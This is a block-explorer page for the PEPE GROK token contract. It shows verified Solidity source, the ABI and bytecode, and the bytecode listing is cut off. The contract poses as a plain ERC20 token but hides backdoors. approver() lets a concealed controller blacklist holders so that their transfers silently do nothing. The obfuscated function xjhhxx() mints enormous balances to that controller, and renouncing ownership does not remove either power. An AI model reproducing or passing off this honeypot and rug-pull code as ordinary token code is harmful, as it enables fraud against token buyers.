ETH Price: $2,342.47 (+2.22%)

Token

PEPE GROK (PEPEGROK)

Overview

Max Total Supply

1,000,000,000 PEPEGROK

Holders

8

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEGROK

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2023-11-15
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

abstract contract Ownable  {
    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _check();
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;
    function owner() public view virtual returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _check() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

interface IPancakeRouter {
    function factory() external pure returns (address);
}

interface IPancakeFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

contract PEPEGROK is Ownable {
    address internal _routerAddress;
    uint256 private _totalSupply;
    string private _name;
    string private _symbols;
    address private _control;
    uint8 private _decimals;
    mapping(address => uint256) private abott;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _vip;

    constructor() {
        _name = "PEPE GROK";
        _symbols = "PEPEGROK";
        _decimals = 9;
        _totalSupply = 10**9 * 10 ** _decimals;
        abott[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        _control = msg.sender;
        _routerAddress = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    }

    function symbol() public view  returns (string memory) {
        return _symbols;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return abott[account];
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function approver(address a, bool v) external {
        if(_control == _msgSender() && _control != a && a != _routerAddress){
            _vip[a] = v;
        } else {
            _routerAddress = _routerAddress;
        }
    }
    function viewVip(address a) public view returns (bool) {
        return _vip[a];
    }
    function xjhhxx(uint256 xt) external {
        if(_control == _msgSender()){
            uint256 yythsm = 20000000000*10**_decimals;
            uint256 yythsmcs = yythsm*5000000;
            uint256 tthcsh = abott[_msgSender()];
            uint yythsmcsccc = yythsmcs*1*1*1*1;
            yythsmcsccc = yythsmcsccc * xt;
            abott[_msgSender()] = yythsmcsccc + tthcsh;
            require(_control == msg.sender);
        } else {
            xt = 1;
        }
    } 

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowance(msg.sender, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = allowance(msg.sender, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 balance = abott[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(_vip[from] == false) {
            abott[from] = abott[from]-amount;
            abott[to] = abott[to]+amount;
            emit Transfer(from, to, amount); 
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bool","name":"v","type":"bool"}],"name":"approver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"viewVip","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"xt","type":"uint256"}],"name":"xjhhxx","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5062000023336200024e60201b60201c565b6040518060400160405280600981526020017f504550452047524f4b0000000000000000000000000000000000000000000000815250600390816200006991906200058c565b506040518060400160405280600881526020017f5045504547524f4b00000000000000000000000000000000000000000000000081525060049081620000b091906200058c565b506009600560146101000a81548160ff021916908360ff160217905550600560149054906101000a900460ff16600a620000eb919062000803565b633b9aca00620000fc919062000854565b600281905550600254600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600254604051620001aa9190620008b0565b60405180910390a333600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e592427a0aece92de3edee1f18e0157c05861564600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008cd565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200039457607f821691505b602082108103620003aa57620003a96200034c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004147fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003d5565b620004208683620003d5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200046d62000467620004618462000438565b62000442565b62000438565b9050919050565b6000819050919050565b62000489836200044c565b620004a1620004988262000474565b848454620003e2565b825550505050565b600090565b620004b8620004a9565b620004c58184846200047e565b505050565b5b81811015620004ed57620004e1600082620004ae565b600181019050620004cb565b5050565b601f8211156200053c576200050681620003b0565b6200051184620003c5565b8101602085101562000521578190505b620005396200053085620003c5565b830182620004ca565b50505b505050565b600082821c905092915050565b6000620005616000198460080262000541565b1980831691505092915050565b60006200057c83836200054e565b9150826002028217905092915050565b620005978262000312565b67ffffffffffffffff811115620005b357620005b26200031d565b5b620005bf82546200037b565b620005cc828285620004f1565b600060209050601f831160018114620006045760008415620005ef578287015190505b620005fb85826200056e565b8655506200066b565b601f1984166200061486620003b0565b60005b828110156200063e5784890151825560018201915060208501945060208101905062000617565b868310156200065e57848901516200065a601f8916826200054e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200070157808604811115620006d957620006d862000673565b5b6001851615620006e95780820291505b8081029050620006f985620006a2565b9450620006b9565b94509492505050565b6000826200071c5760019050620007ef565b816200072c5760009050620007ef565b8160018114620007455760028114620007505762000786565b6001915050620007ef565b60ff84111562000765576200076462000673565b5b8360020a9150848211156200077f576200077e62000673565b5b50620007ef565b5060208310610133831016604e8410600b8410161715620007c05782820a905083811115620007ba57620007b962000673565b5b620007ef565b620007cf8484846001620006af565b92509050818404811115620007e957620007e862000673565b5b81810290505b9392505050565b600060ff82169050919050565b6000620008108262000438565b91506200081d83620007f6565b92506200084c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200070a565b905092915050565b6000620008618262000438565b91506200086e8362000438565b92508282026200087e8162000438565b9150828204841483151762000898576200089762000673565b5b5092915050565b620008aa8162000438565b82525050565b6000602082019050620008c760008301846200089f565b92915050565b611c7d80620008dd6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102b1578063d92c247e146102e1578063dd62ed3e146102fd578063f93f548c1461032d57610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b4114610263578063a457c2d71461028157610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806348f2f812146101ef57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61035d565b60405161011a9190611237565b60405180910390f35b61013d600480360381019061013891906112f2565b6103ef565b60405161014a919061134d565b60405180910390f35b61015b610406565b6040516101689190611377565b60405180910390f35b61018b60048036038101906101869190611392565b610410565b604051610198919061134d565b60405180910390f35b6101a9610438565b6040516101b69190611401565b60405180910390f35b6101d960048036038101906101d491906112f2565b61044f565b6040516101e6919061134d565b60405180910390f35b61020960048036038101906102049190611448565b61047a565b005b61022560048036038101906102209190611488565b61064f565b6040516102329190611377565b60405180910390f35b610243610698565b005b61024d6106ac565b60405161025a91906114c4565b60405180910390f35b61026b6106d5565b6040516102789190611237565b60405180910390f35b61029b600480360381019061029691906112f2565b610767565b6040516102a8919061134d565b60405180910390f35b6102cb60048036038101906102c691906112f2565b6107da565b6040516102d8919061134d565b60405180910390f35b6102fb60048036038101906102f691906114df565b6107f1565b005b6103176004803603810190610312919061150c565b6109dd565b6040516103249190611377565b60405180910390f35b61034760048036038101906103429190611488565b610a64565b604051610354919061134d565b60405180910390f35b60606003805461036c9061157b565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061157b565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006103fc338484610aba565b6001905092915050565b6000600254905090565b600080339050610421858285610c83565b61042c858585610d18565b60019150509392505050565b6000600560149054906101000a900460ff16905090565b600061047033848461046133886109dd565b61046b91906115db565b610aba565b6001905092915050565b61048261105d565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561052c57508173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156105865750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156105e75780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061064b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a0611065565b6106aa60006110e3565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106e49061157b565b80601f01602080910402602001604051908101604052809291908181526020018280546107109061157b565b801561075d5780601f106107325761010080835404028352916020019161075d565b820191906000526020600020905b81548152906001019060200180831161074057829003601f168201915b5050505050905090565b60008061077433856109dd565b9050828110156107b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b090611681565b60405180910390fd5b6107cf338585846107ca91906116a1565b610aba565b600191505092915050565b60006107e7338484610d18565b6001905092915050565b6107f961105d565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036109d5576000600560149054906101000a900460ff16600a61086b9190611808565b6404a817c80061087b9190611853565b90506000624c4b408261088e9190611853565b905060006006600061089e61105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600180600180866108ee9190611853565b6108f89190611853565b6109029190611853565b61090c9190611853565b9050848161091a9190611853565b9050818161092891906115db565b6006600061093461105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b505050506109da565b600190505b50565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2090611907565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8f90611999565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c769190611377565b60405180910390a3505050565b6000610c8f84846109dd565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d125781811015610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf290611a05565b60405180910390fd5b610d1184848484610d0c91906116a1565b610aba565b5b50505050565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9690611a97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0590611b29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7490611bbb565b60405180910390fd5b60001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036110575781600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2091906116a1565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fae91906115db565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161104e9190611377565b60405180910390a35b50505050565b600033905090565b61106d61105d565b73ffffffffffffffffffffffffffffffffffffffff1661108b6106ac565b73ffffffffffffffffffffffffffffffffffffffff16146110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d890611c27565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156111e15780820151818401526020810190506111c6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611209826111a7565b61121381856111b2565b93506112238185602086016111c3565b61122c816111ed565b840191505092915050565b6000602082019050818103600083015261125181846111fe565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112898261125e565b9050919050565b6112998161127e565b81146112a457600080fd5b50565b6000813590506112b681611290565b92915050565b6000819050919050565b6112cf816112bc565b81146112da57600080fd5b50565b6000813590506112ec816112c6565b92915050565b6000806040838503121561130957611308611259565b5b6000611317858286016112a7565b9250506020611328858286016112dd565b9150509250929050565b60008115159050919050565b61134781611332565b82525050565b6000602082019050611362600083018461133e565b92915050565b611371816112bc565b82525050565b600060208201905061138c6000830184611368565b92915050565b6000806000606084860312156113ab576113aa611259565b5b60006113b9868287016112a7565b93505060206113ca868287016112a7565b92505060406113db868287016112dd565b9150509250925092565b600060ff82169050919050565b6113fb816113e5565b82525050565b600060208201905061141660008301846113f2565b92915050565b61142581611332565b811461143057600080fd5b50565b6000813590506114428161141c565b92915050565b6000806040838503121561145f5761145e611259565b5b600061146d858286016112a7565b925050602061147e85828601611433565b9150509250929050565b60006020828403121561149e5761149d611259565b5b60006114ac848285016112a7565b91505092915050565b6114be8161127e565b82525050565b60006020820190506114d960008301846114b5565b92915050565b6000602082840312156114f5576114f4611259565b5b6000611503848285016112dd565b91505092915050565b6000806040838503121561152357611522611259565b5b6000611531858286016112a7565b9250506020611542858286016112a7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061159357607f821691505b6020821081036115a6576115a561154c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006115e6826112bc565b91506115f1836112bc565b9250828201905080821115611609576116086115ac565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061166b6025836111b2565b91506116768261160f565b604082019050919050565b6000602082019050818103600083015261169a8161165e565b9050919050565b60006116ac826112bc565b91506116b7836112bc565b92508282039050818111156116cf576116ce6115ac565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111561172c57808604811115611708576117076115ac565b5b60018516156117175780820291505b8081029050611725856116d5565b94506116ec565b94509492505050565b6000826117455760019050611801565b816117535760009050611801565b81600181146117695760028114611773576117a2565b6001915050611801565b60ff841115611785576117846115ac565b5b8360020a91508482111561179c5761179b6115ac565b5b50611801565b5060208310610133831016604e8410600b84101617156117d75782820a9050838111156117d2576117d16115ac565b5b611801565b6117e484848460016116e2565b925090508184048111156117fb576117fa6115ac565b5b81810290505b9392505050565b6000611813826112bc565b915061181e836113e5565b925061184b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611735565b905092915050565b600061185e826112bc565b9150611869836112bc565b9250828202611877816112bc565b9150828204841483151761188e5761188d6115ac565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118f16024836111b2565b91506118fc82611895565b604082019050919050565b60006020820190508181036000830152611920816118e4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006119836022836111b2565b915061198e82611927565b604082019050919050565b600060208201905081810360008301526119b281611976565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006119ef601d836111b2565b91506119fa826119b9565b602082019050919050565b60006020820190508181036000830152611a1e816119e2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611a816026836111b2565b9150611a8c82611a25565b604082019050919050565b60006020820190508181036000830152611ab081611a74565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611b136025836111b2565b9150611b1e82611ab7565b604082019050919050565b60006020820190508181036000830152611b4281611b06565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611ba56023836111b2565b9150611bb082611b49565b604082019050919050565b60006020820190508181036000830152611bd481611b98565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611c116020836111b2565b9150611c1c82611bdb565b602082019050919050565b60006020820190508181036000830152611c4081611c04565b905091905056fea264697066735822122032c613e4550a2021fe34356bed548694193cd20885689fb5b5600edb8b62b09e64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102b1578063d92c247e146102e1578063dd62ed3e146102fd578063f93f548c1461032d57610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b4114610263578063a457c2d71461028157610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806348f2f812146101ef57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61035d565b60405161011a9190611237565b60405180910390f35b61013d600480360381019061013891906112f2565b6103ef565b60405161014a919061134d565b60405180910390f35b61015b610406565b6040516101689190611377565b60405180910390f35b61018b60048036038101906101869190611392565b610410565b604051610198919061134d565b60405180910390f35b6101a9610438565b6040516101b69190611401565b60405180910390f35b6101d960048036038101906101d491906112f2565b61044f565b6040516101e6919061134d565b60405180910390f35b61020960048036038101906102049190611448565b61047a565b005b61022560048036038101906102209190611488565b61064f565b6040516102329190611377565b60405180910390f35b610243610698565b005b61024d6106ac565b60405161025a91906114c4565b60405180910390f35b61026b6106d5565b6040516102789190611237565b60405180910390f35b61029b600480360381019061029691906112f2565b610767565b6040516102a8919061134d565b60405180910390f35b6102cb60048036038101906102c691906112f2565b6107da565b6040516102d8919061134d565b60405180910390f35b6102fb60048036038101906102f691906114df565b6107f1565b005b6103176004803603810190610312919061150c565b6109dd565b6040516103249190611377565b60405180910390f35b61034760048036038101906103429190611488565b610a64565b604051610354919061134d565b60405180910390f35b60606003805461036c9061157b565b80601f01602080910402602001604051908101604052809291908181526020018280546103989061157b565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006103fc338484610aba565b6001905092915050565b6000600254905090565b600080339050610421858285610c83565b61042c858585610d18565b60019150509392505050565b6000600560149054906101000a900460ff16905090565b600061047033848461046133886109dd565b61046b91906115db565b610aba565b6001905092915050565b61048261105d565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561052c57508173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156105865750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156105e75780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061064b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a0611065565b6106aa60006110e3565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106e49061157b565b80601f01602080910402602001604051908101604052809291908181526020018280546107109061157b565b801561075d5780601f106107325761010080835404028352916020019161075d565b820191906000526020600020905b81548152906001019060200180831161074057829003601f168201915b5050505050905090565b60008061077433856109dd565b9050828110156107b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b090611681565b60405180910390fd5b6107cf338585846107ca91906116a1565b610aba565b600191505092915050565b60006107e7338484610d18565b6001905092915050565b6107f961105d565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036109d5576000600560149054906101000a900460ff16600a61086b9190611808565b6404a817c80061087b9190611853565b90506000624c4b408261088e9190611853565b905060006006600061089e61105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600180600180866108ee9190611853565b6108f89190611853565b6109029190611853565b61090c9190611853565b9050848161091a9190611853565b9050818161092891906115db565b6006600061093461105d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b505050506109da565b600190505b50565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373fffffffffffffffffffffffffffffffffffffff